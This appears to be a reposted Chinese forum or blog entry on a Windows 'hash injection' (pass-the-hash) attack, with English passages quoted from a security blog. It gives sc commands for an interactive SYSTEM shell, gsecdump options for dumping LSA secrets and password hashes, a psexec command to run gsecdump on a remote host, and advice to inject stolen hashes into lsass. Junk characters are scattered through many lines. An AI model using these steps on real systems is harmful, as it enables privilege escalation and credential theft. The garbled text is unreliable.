HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
6 i9 s$ d) x* U+ ]& ~7 \1 ^9 ]% u[SC] CreateService SUCCESS

C:\>sc start shellcmdline
[SC] StartService FAILED 1053:

& Y  o# k: O. U( ^1 qThe service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

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5 q% \8 R0 S' S  E& ]' fThen in the new DOS window:

; }* t" @+ h" u, J7 i: Y; @( DMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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* N. q( E* f2 W$ l7 ~C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
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( n/ s2 U+ z+ Q* h0 n3 dC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
  _) }, F( n" E+ H8 ousage: gsecdump [options]
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1 _6 \6 B9 E* F( s4 u) }# d: Eoptions:
& j8 Q! U# N7 r-h [ --help ] show help
: e/ |) B/ S2 V-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
9 Q! c5 k! k* {, h-u [ --dump_usedhashes ] dump hashes from active logon sessions
4 o% D' {. ]! {4 M/ y/ J# I1 @-s [ --dump_hashes ] dump hashes from SAM/AD
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. K; }( n5 e5 |. K) SAlthough I like to use:
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PsExec v1.83 - Execute processes remotely
6 P' p% n% K5 A0 C0 C5 y" u$ S2 bCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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' m  ?) y' G# g# ito get the hashes from active logon sessions of a remote system.
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4 b/ v$ h( k# a9 q( YThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

& j1 |" y& w, I: ]我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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